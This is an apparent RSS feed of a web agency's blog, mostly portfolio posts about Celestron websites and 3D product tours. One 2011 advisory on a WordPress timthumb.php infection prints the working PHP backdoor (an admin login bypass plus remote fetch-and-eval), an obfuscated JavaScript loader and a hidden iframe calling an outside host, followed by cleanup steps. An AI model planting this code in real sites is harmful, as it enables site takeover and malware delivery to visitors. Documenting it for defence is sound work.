<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GammaFX, Inc.</title>
	<atom:link href="http://www.gammafx.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gammafx.com</link>
	<description>Advanced creative solutions for your brand</description>
	<lastBuildDate>Tue, 17 Jan 2012 21:36:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Gamma360 &#8211; 360 Degree Product Views</title>
		<link>http://www.gammafx.com/blog/2012/01/17/product-360s/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=product-360s</link>
		<comments>http://www.gammafx.com/blog/2012/01/17/product-360s/#comments</comments>
		<pubDate>Tue, 17 Jan 2012 21:24:16 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=533</guid>
		<description><![CDATA[GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New Gamma360 Service In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, Gamma360 is a one stop [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong><a href="http://www.gammafx.com/blog/2012/01/17/product-360s/"><img title="gamma360" src="http://www.gammafx.com/wp-content/uploads/2012/01/gamma360.jpg" alt="" width="400" height="150" /></a></strong></em></p>
<p><em><strong>GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New </strong><span style="color: #000000;"><strong>Gamma360</strong></span><strong> Service</strong></em></p>
<p>In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, <strong>Gamma360</strong> is a one stop solution for creating and deploying product 360s for the web, interactive product kiosks or mobile devices.</p>
<p><a href="http://www.gammafx.com/demos/DeluxeCPC1100HD360/index.html" class="fancy360"><img class="alignnone size-full wp-image-536" title="360demo" src="http://www.gammafx.com/wp-content/uploads/2012/01/360demo.png" alt="" width="90" height="90" /></a></p>
<p><strong>How It Works?</strong></p>
<p>Gamma360 does not rely on photography or video.  Instead, we use CAD models provided by you to create life-like renderings of your product.  The final product, wrapped in our cross-platform player can be hosted on our content delivery network or reside on your website.</p>
<p><strong>To get started, <a href="http://www.gammafx.com/contact-us/">contact us</a> today!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/01/17/product-360s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GammaFX Helps Celestron Launch A Stellar New Website</title>
		<link>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=gammafx-helps-celestron-launch-a-stellar-new-website</link>
		<comments>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 19:43:25 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=525</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.celestron.com/ A spectacular Redesign Puts the Focus on Consumers Celestron, a leading designer and manufacturer of telescopes, binoculars, spotting scopes, microscopes, weather stations, GPS devices and related accessories, has just announced the debut of their remarkable new online destination – Celestron.com. With an astonishingly consumer-friendly new global portal and three parallel websites, each [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong><a href="http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/"><img class="alignnone size-full wp-image-527" title="New Celestron.com" src="http://www.gammafx.com/wp-content/uploads/2011/12/celestron.jpg" alt="" width="400" height="150" /></a></strong></em></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://www.celestron.com/">http://www.celestron.com</a>/</p>
<p><span id="more-525"></span></p>
<p><em><strong>A spectacular Redesign Puts the Focus on Consumers</strong></em></p>
<p>Celestron, a leading designer and manufacturer of telescopes, binoculars, spotting scopes, microscopes, weather stations, GPS devices and related accessories, has just announced the debut of their remarkable new online destination – <a href="http://www.celestron.com/" target="_blank">Celestron.com</a>.</p>
<p>With an astonishingly consumer-friendly new global portal and three parallel websites, each dedicated to a specialty market, Celestron has streamlined the process of finding the perfect product by making every option accessible via product category and/or lifestyle pathways. And a universal shopping cart conveniently keeps track across the complementary sites for U.S. shoppers.</p>
<p>The result is that users can quickly and easily find the perfect fit for their needs whether they start out seeking a specific product type or feature or simply want to explore the options available to enhance their particular hobbies and interests.</p>
<p>“Celestron has always been known for top-of-the-line optic products at an accessible price point,” says Celestron President and CEO, Joseph A. Lupica, Jr. “But as our product line has expanded to include so many diverse and exciting recreational products as well, our client base has also grown larger and more diverse. This evolution is the perfect opportunity to continue engaging with our customers in a way that is more relevant to their experience.”</p>
<p>Built with ease of use in mind, the new <a href="http://www.celestron.com/" target="_blank">Celestron.com</a> website integrates all product information into a single screen with multiple product images and user-submitted photography. Smart “spec” and “activity” icons make assessing and comparing items a breeze. And, product tours and videos, user ratings and reviews, and a solid customer support system – complete with instructions, downloads, articles and manuals – are built right in. The new website even integrates spectacular user submitted astro photography from <a href="http://www.celestronimages.com/" target="_blank">CelestronImages.com</a>, one of the largest astroimaging communities in the world.</p>
<p>Of course, the new site is also fully integrated with social media like Facebook, Google+, Twitter, etc., and optimized for viewing on iPhones, iPads, and Android smart phones.</p>
<p>Visit <a href="http://www.celestron.com/" target="_blank">www.celestron.com</a> to experience the new, consumer-friendly website.</p>
<p><strong>About Celestron</strong></p>
<p>Celestron is a leading designer, manufacturer and importer of high-quality optical products including computerized and non-computerized telescopes and related accessories, weather stations, GPS devices, binoculars, spotting scopes and microscopes. Since manufacturing its first telescope in 1960, Celestron has grown to become the world’s leading telescope maker, and enjoys brand-name recognition among serious amateur astronomers for superior optics, outstanding design, and innovative technology. Celestron’s extraordinary products continue to receive numerous industry and consumer media accolades, adding to an already impressive list that includes awards for product innovation from Reader’s Digest, Popular Science, PC Magazine, Popular Mechanics, the Consumer Electronics Association and more. Celestron is a privately held company with corporate offices and manufacturing facilities, in Torrance, CA.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New WordPress Malware Attack Exploiting timthumb.php Script</title>
		<link>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=new-wordpress-malware-attack-exploiting-timthumb-php-script</link>
		<comments>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 16:51:47 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[technotes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=504</guid>
		<description><![CDATA[There is a new malware infection that has been affecting thousands of WordPress sites that utilize popular timthumb.php image resizing script. Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor&#8217;s computers. At this stage of the infection attackers are also modifying two [...]]]></description>
			<content:encoded><![CDATA[<p>There is a new malware infection that has been affecting thousands of WordPress sites that utilize popular<strong> timthumb.php</strong> image resizing script.</p>
<p>Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor&#8217;s computers.</p>
<p>At this stage of the infection attackers are also modifying two of WordPress core files <strong>/wp-config.php</strong> and <strong>/wp-includes/js/l10n.js</strong></p>
<p><strong></strong>The <strong>wp-config.php </strong> gets the following new lines of code that allows hackers backdoor access to your website:</p>
<p><code> if (isset($_GET['pingnow'])&amp;&amp; isset($_GET['pass'])){<br />
if ($_GET['pass'] == ’66f041e16a60928b05a7e228a89c3799′){<br />
if ($_GET['pingnow']== ‘login’){<br />
$user_login = ‘admin’;<br />
$user = get_userdatabylogin($user_login);<br />
$user_id = $user-&gt;ID;<br />
wp_set_current_user($user_id, $user_login);<br />
wp_set_auth_cookie($user_id);<br />
do_action(‘wp_login’, $user_login);<br />
}<br />
if (($_GET['pingnow']== ‘exec’)&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
$fnm = md5(rand(0,100)).’.php’;<br />
$fp = fopen($fnm, “w”);<br />
curl_setopt($ch, CURLOPT_FILE, $fp);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
curl_exec($ch);<br />
curl_close($ch);<br />
fclose($fp);<br />
echo “// ”;<br />
}<br />
if (($_GET['pingnow']== ‘eval’)&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$re = curl_exec($ch);<br />
curl_close($ch);<br />
eval($re);<br />
}}}<br />
</code></p>
<p>The attackers also add the following code to your <strong>l10n.js </strong>file.</p>
<p><code>var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\x2E\x61\x3D\x27\x34\x27\x3B\x30\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\x2F\x67\x2D\x68\x2E\x6D\x2F\x6A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x65\x6C\x7C\x73\x74\x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\x6D\x65\x7C\x31\x70\x78\x7C\x4D\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x69\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\x64\x74\x68\x7C\x76\x61\x72\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x70\x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\x6F\x72\x64\x70\x72\x65\x73\x73\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\x7C\x31\x30\x30\x30\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2f46x1,_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6){_0x2f46x5=function (_0x2f46x3){return _0x2f46x3.toString(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3--){_0x2f46x6[_0x2f46x3.toString(_0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f46x4=[function (_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=function (){return _0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3--){if(_0x2f46x4[_0x2f46x3]){_0x2f46x1=_0x2f46x1[_0x4de4[4]]( new RegExp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),_0x2f46x4[_0x2f46x3]);}}return _0x2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));</code></p>
<p>This appends an iframe to the bottom of your blog through which they can inject future malware:</p>
<p><code> &lt;iframe id="iframe" src="http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px; "&gt;&lt;/iframe&gt;</code></p>
<p><strong>Solution</strong></p>
<ol>
<li> Immediately remove or update the <strong>timthumb.php </strong>script.  When removing don&#8217;t forget to also update your theme files that rely on this functionality.</li>
<li>Delete the <strong>cache</strong> folder located in the root of your template.</li>
<li>Remove the code above from your <strong>wp-config.php </strong>file.  Normally, the last line of that file should read: <em>require_once(ABSPATH . &#8216;wp-settings.php&#8217;);</em></li>
<li>Remove the code above from the <strong>/wp-includes/js/l10n.js </strong>file.</li>
<li>Update all WordPress and FTP passwords for good measure.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Granite Binoculars 3D Tour</title>
		<link>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=granite-binoculars-3d-tour</link>
		<comments>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 16:40:43 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=468</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.youtube.com/watch?v=-_FmKN3_wXk Summary: GammaFX Design Studio created this sophisticated 3D product tour to showcase Celestron&#8217;s new line of high end binoculars.]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.youtube.com/embed/-_FmKN3_wXk?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0"><img class="alignnone size-full wp-image-377" src="http://www.gammafx.com/wp-content/uploads/2011/08/granite.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a class="fancybox iframe" href="http://www.youtube.com/embed/-_FmKN3_wXk?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0">http://www.youtube.com/watch?v=-_FmKN3_wXk</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> GammaFX Design Studio created this sophisticated 3D product tour to showcase Celestron&#8217;s new line of high end binoculars.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyProdigy Ad Campaign Microsite</title>
		<link>http://www.gammafx.com/blog/2011/07/15/skyprodigy-ad-campaign-microsite/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=skyprodigy-ad-campaign-microsite</link>
		<comments>http://www.gammafx.com/blog/2011/07/15/skyprodigy-ad-campaign-microsite/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 16:47:08 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>
		<category><![CDATA[ecommerce]]></category>
		<category><![CDATA[Filming]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[Post production]]></category>
		<category><![CDATA[shopatron]]></category>
		<category><![CDATA[video production]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=472</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://celestronsites.com/skyprodigy Summary: To introduce their groundbreaking new SkyProdigy telescopes Celestron launched an ad campaign centered around Caroline Moore, who discovered a supernova at the age of 14. GammaFX team designed and build this microsite to support the ad campaign. We also produced all videos that are featured on the website. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://celestronsites.com/skyprodigy" target="_blank"><img src="http://www.gammafx.com/wp-content/uploads/2011/08/skyprodigy.jpg" alt="" width="400" height="150" class="alignnone size-full wp-image-473" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://celestronsites.com/skyprodigy">http://celestronsites.com/skyprodigy</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> To introduce their groundbreaking new SkyProdigy telescopes Celestron launched an ad campaign centered around Caroline Moore, who discovered a supernova at the age of 14.  GammaFX team designed and build this microsite to support the ad campaign.  We also produced all videos that are featured on the website.</p>
<p>This site is deployed on the WordPress MultiSite platform that allows our clients rapidly deploy microsites with unified control panel.  It also utilizes out Shopatron Checkout Module for WordPress to achieve seamless integration with Shopatron eCommerce platform.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/07/15/skyprodigy-ad-campaign-microsite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Telescopes.net eCommerce Website</title>
		<link>http://www.gammafx.com/blog/2011/07/10/telescopes-net/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=telescopes-net</link>
		<comments>http://www.gammafx.com/blog/2011/07/10/telescopes-net/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 16:37:56 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>
		<category><![CDATA[ecommerce]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=461</guid>
		<description><![CDATA[Client: Woodland Hills Telescopes Project URL: http://telescopes.net/ Summary: Telescopes.net is an eCommerce website for a premier optics retailer.]]></description>
			<content:encoded><![CDATA[<p><a href="http://telescopes.net" target="_blank"><img class="alignnone size-full wp-image-464" src="http://www.gammafx.com/wp-content/uploads/2011/08/telescopes.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client: </strong>Woodland Hills Telescopes<br />
<strong> Project URL:</strong> <a href="http://telescopes.net/" target="_blank">http://telescopes.net/</a><br />
<strong> Summary: </strong>Telescopes.net is an eCommerce website for a premier optics retailer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/07/10/telescopes-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyQ iPhone App Website</title>
		<link>http://www.gammafx.com/blog/2011/07/01/skyq-iphone-app-website/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=skyq-iphone-app-website</link>
		<comments>http://www.gammafx.com/blog/2011/07/01/skyq-iphone-app-website/#comments</comments>
		<pubDate>Fri, 01 Jul 2011 16:58:35 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress multisite]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=481</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://skyqapp.com Summary: This website is dedicated to the first amateur astronomy iOS app launched by Celestron &#8211; world&#8217;s leading manufacturer of telescopes and other optical products. This site is deployed on the WordPress MultiSite platform that allows our clients rapidly deploy microsites with unified control panel.]]></description>
			<content:encoded><![CDATA[<p><a href="http://skyqapp.com" target="_blank"><img src="http://www.gammafx.com/wp-content/uploads/2011/08/skyq.jpg" alt="" width="400" height="150" class="alignnone size-full wp-image-473" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://skyqapp.com">http://skyqapp.com</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> This website is dedicated to the first amateur astronomy iOS app launched by Celestron &#8211; world&#8217;s leading manufacturer of telescopes and other optical products.</p>
<p>This site is deployed on the WordPress MultiSite platform that allows our clients rapidly deploy microsites with unified control panel.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/07/01/skyq-iphone-app-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LCD Handheld Digital Microscope Tour</title>
		<link>http://www.gammafx.com/blog/2011/06/24/lcd-handheld-digital-microscope-tour/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=lcd-handheld-digital-microscope-tour</link>
		<comments>http://www.gammafx.com/blog/2011/06/24/lcd-handheld-digital-microscope-tour/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 19:24:08 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=500</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.youtube.com/watch?v=cYiPNs98KkE Summary: GammaFX Design Studio created this 3D product tour to help Celestron &#8211; a global leader in optics manufacturing &#8211; showcase their new hi-tech LCD Handheld Digital Microscope.]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.youtube.com/embed/cYiPNs98KkE?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0"><img class="alignnone size-full wp-image-377" src="http://www.gammafx.com/wp-content/uploads/2011/08/lcd-microscope.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a class="fancybox iframe" href="http://www.youtube.com/embed/cYiPNs98KkE?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0">http://www.youtube.com/watch?v=cYiPNs98KkE</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> GammaFX Design Studio created this 3D product tour to help Celestron &#8211; a global leader in optics manufacturing &#8211; showcase their new hi-tech LCD Handheld Digital Microscope.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/06/24/lcd-handheld-digital-microscope-tour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EstherAndMiriam.com Private Sale Website</title>
		<link>http://www.gammafx.com/blog/2011/06/15/estherandmiriam-com-private-sale-website/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=estherandmiriam-com-private-sale-website</link>
		<comments>http://www.gammafx.com/blog/2011/06/15/estherandmiriam-com-private-sale-website/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 17:05:52 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=484</guid>
		<description><![CDATA[Client: Esther &#38; Miriam, Inc. Project URL: http://estherandmiriam.com/ Summary: EstherAndMiriam.com is private sale eCommerce website for a retailer specializes in stylish clothing for women that complies with Jewish traditions.]]></description>
			<content:encoded><![CDATA[<p><a href="http://estherandmiriam.com" target="_blank"><img src="http://www.gammafx.com/wp-content/uploads/2011/08/esther.jpg" alt="" width="400" height="150" class="alignnone size-full wp-image-485" /></a></p>
<p><strong>Client: </strong>Esther &amp; Miriam, Inc.<br />
<strong> Project URL:</strong> <a href="http://estherandmiriam.com/" target="_blank">http://estherandmiriam.com/</a><br />
<strong> Summary: </strong>EstherAndMiriam.com is private sale eCommerce website for a retailer specializes in stylish clothing for women that complies with Jewish traditions.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/06/15/estherandmiriam-com-private-sale-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shopatron: 2011 OnTarget Conference</title>
		<link>http://www.gammafx.com/blog/2011/05/07/shopatron-2011-ontarget-conference/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=shopatron-2011-ontarget-conference</link>
		<comments>http://www.gammafx.com/blog/2011/05/07/shopatron-2011-ontarget-conference/#comments</comments>
		<pubDate>Sun, 08 May 2011 00:29:56 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=440</guid>
		<description><![CDATA[We are back from Shopatron&#8217;s 2011 &#8220;On Target&#8221; Conference that took place in a picturesque city of Pizmo Beach, California. Great thanks to Shopatron team for putting together an excellent 2-day event packed with awesome presentations and great networking opportunities. We hope everyone enjoyed GammaFX&#8217;s presentation on Automation and working with APIs. In case you [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-454" src="http://www.gammafx.com/wp-content/uploads/2011/05/gammafx-ontarget2011-2.jpg" align="right" alt="" width="200" height="30" />We are back from Shopatron&#8217;s 2011 &#8220;On Target&#8221; Conference that took place in a picturesque city of Pizmo Beach, California.<br />
Great thanks to Shopatron team for putting together an excellent 2-day event packed with awesome presentations and great networking opportunities.</p>
<p><a href="http://www.gammafx.com/wp-content/uploads/2011/05/gammafx-ontarget20111.pdf" target="_blank"><img src="http://www.gamafx.com/web-2-0/wp-includes/images/crystal/document.png" alt="" align="right" /></a>We hope everyone enjoyed GammaFX&#8217;s presentation on Automation and working with APIs.  In case you missed it, <a href="http://www.gammafx.com/wp-content/uploads/2011/05/gammafx-ontarget20111.pdf" target="_blank">click here to get your copy</a>&#8230;</p>
<p>Check out the photos from the event <a href="https://www.facebook.com/media/set/?set=a.216601601701307.71077.106171722744296" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/05/07/shopatron-2011-ontarget-conference/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

